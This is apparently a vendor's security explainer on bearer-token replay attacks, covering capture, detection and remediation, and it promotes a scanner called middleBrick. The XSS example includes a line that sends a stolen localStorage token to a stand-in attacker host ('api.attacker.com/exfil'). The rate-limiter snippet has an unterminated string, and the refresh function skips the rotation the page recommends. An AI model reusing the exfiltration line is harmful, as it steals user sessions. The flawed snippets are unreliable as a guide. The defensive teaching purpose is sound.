HIGH replay attackbearer tokens

Replay Attack with Bearer Tokens

How Replay Attack Manifests in Bearer Tokens

Replay attacks in Bearer Tokens exploit the stateless nature of token-based authentication. Since Bearer Tokens are self-contained and often lack built-in expiration validation at the application layer, intercepted tokens can be reused by attackers until they naturally expire.

The most common Bearer Tokens replay scenario occurs when tokens are transmitted over unencrypted channels. An attacker using packet sniffing tools like Wireshark or tcpdump can capture Authorization: Bearer headers. Because Bearer Tokens are designed to be presented without additional cryptographic proof, the attacker simply needs to include the captured token in their own requests.

GET /api/user/profile HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Another manifestation occurs in client-side storage vulnerabilities. When Bearer Tokens are stored in localStorage or sessionStorage, cross-site scripting (XSS) attacks can extract them. Unlike traditional session cookies with HTTP-only flags, Bearer Tokens stored in JavaScript-accessible locations are vulnerable to script-based extraction.

// Vulnerable storage - accessible to XSS
localStorage.setItem('authToken', token);

// Attacker extracts via XSS
const stolenToken = localStorage.getItem('authToken');
fetch('https://api.attacker.com/exfil', {
  headers: { Authorization: `Bearer ${stolenToken}` }
});

Mobile applications often exacerbate replay risks through insecure storage. Android apps storing tokens in SharedPreferences without encryption or iOS apps using UserDefaults create local attack vectors. Rooted/jailbroken devices can extract these tokens, enabling offline replay attacks.

Server-side logging presents another attack surface. If request logs capture Authorization headers without proper sanitization, database breaches can expose tokens. Since Bearer Tokens are often long-lived (hours to days), a single breach can compromise extended access periods.

Bearer Tokens-Specific Detection

Detecting replay attack vulnerabilities in Bearer Token implementations requires examining both transmission and storage mechanisms. Network-level detection focuses on whether tokens traverse unencrypted channels. Tools like middleBrick automatically test if APIs accept tokens over HTTP or if HTTPS enforcement is properly implemented.

middleBrick's Bearer Tokens-specific scanning examines several critical areas:

  • Transport security validation - ensuring tokens never appear in HTTP requests
  • Token lifetime analysis - identifying excessively long expiration times
  • Storage location verification - detecting tokens in client-side storage
  • Logging inspection - checking for token exposure in server logs

The scanner actively tests for replay vulnerabilities by attempting to reuse captured tokens across different sessions and user contexts. For example, it verifies whether a token issued to one user can access another user's resources (BOLA/IDOR patterns specific to Bearer Tokens).

// middleBrick CLI scan for Bearer Token security
middlebrick scan https://api.example.com --token-tests

// Output might reveal:
Transport Security: FAIL - HTTP endpoint accepts tokens
Token Storage: WARNING - tokens found in localStorage
Replay Vulnerability: HIGH - tokens valid for 24+ hours

Code analysis tools can detect risky Bearer Token patterns. Static analysis should flag:

// Patterns to flag:
// 1. HTTP transmission
const response = await fetch('http://api.example.com', {
  headers: { Authorization: `Bearer ${token}` }
});

// 2. Client-side storage
localStorage.setItem('token', jwt);

// 3. Missing token rotation
const token = await refreshAccessToken(); // No rotation logic

Runtime detection involves monitoring for unusual token usage patterns. Multiple rapid requests from different IP addresses using the same token, or token usage across geographically distant locations in implausible timeframes, indicate potential replay attacks.

Bearer Tokens-Specific Remediation

Securing Bearer Tokens against replay attacks requires defense-in-depth strategies. The foundation is always transport security - tokens must only traverse encrypted channels.

// Enforce HTTPS-only transmission
const secureFetch = async (url, token) => {
  if (!url.startsWith('https://')) {
    throw new Error('Tokens must use HTTPS');
  }
  
  const response = await fetch(url, {
    headers: { Authorization: `Bearer ${token}` }
  });
  return response;
};

Implement token rotation to minimize replay window. Short-lived access tokens (5-15 minutes) combined with refresh tokens create limited exposure periods.

// JWT with short lifetime
const generateSecureToken = (userId) => {
  return jwt.sign(
    { userId, type: 'access' },
    process.env.JWT_SECRET,
    { expiresIn: '10m' } // Short lifetime
  );
};

// Refresh token pattern
const refreshPair = async (refreshToken) => {
  const { userId } = jwt.verify(refreshToken, process.env.REFRESH_SECRET);
  const newAccessToken = generateSecureToken(userId);
  return { accessToken: newAccessToken, refreshToken: refreshToken };
};

Secure storage eliminates client-side extraction risks. Use HTTP-only, secure cookies instead of client-side storage when possible.

// Server-side cookie storage
app.post('/login', async (req, res) => {
  const token = generateSecureToken(user.id);
  
  res.cookie('authToken', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 10 * 60 * 1000 // 10 minutes
  });
});

Implement token binding to specific contexts like IP address or user agent. While not foolproof due to NAT and mobile networks, it adds a layer of protection.

// Basic token binding
const generateBoundToken = (userId, ipAddress) => {
  return jwt.sign(
    { userId, ip: ipAddress, type: 'access' },
    process.env.JWT_SECRET,
    { expiresIn: '10m' }
  );
};

// Validate binding on each request
const validateToken = (token, requestIp) => {
  const payload = jwt.verify(token, process.env.JWT_SECRET);
  if (payload.ip !== requestIp) {
    throw new Error('Token/IP mismatch');
  }
  return payload;
};

Monitor and alert on suspicious token patterns. Implement rate limiting per token and geographic usage analysis.

// Rate limiting by token
const tokenRateLimiter = new RateLimiterRedis({
  storeClient: redisClient,
  keyPrefix: 'token:
  points: 100,
  duration: 60 // 100 requests per minute per token
});

Finally, implement token revocation capabilities. Maintain a blacklist of compromised tokens that can be checked on each request.

// Token revocation check
const isTokenRevoked = async (token) => {
  const decoded = jwt.decode(token);
  const blacklistEntry = await redis.get(`blacklist:${decoded.jti}`);
  return blacklistEntry !== null;
};

Frequently Asked Questions

How does Bearer Token replay differ from session cookie replay?
Bearer Tokens lack built-in CSRF protection that session cookies have when using SameSite attributes. They're also often stored in client-side JavaScript storage, making them accessible to XSS attacks. Session cookies can be marked HTTP-only, preventing JavaScript access entirely.
Can middleBrick detect if my API is vulnerable to Bearer Token replay attacks?
Yes, middleBrick scans for Bearer Token-specific replay vulnerabilities including HTTP transmission acceptance, excessively long token lifetimes, client-side storage usage, and missing token rotation. It actively tests whether captured tokens can be reused across different user contexts.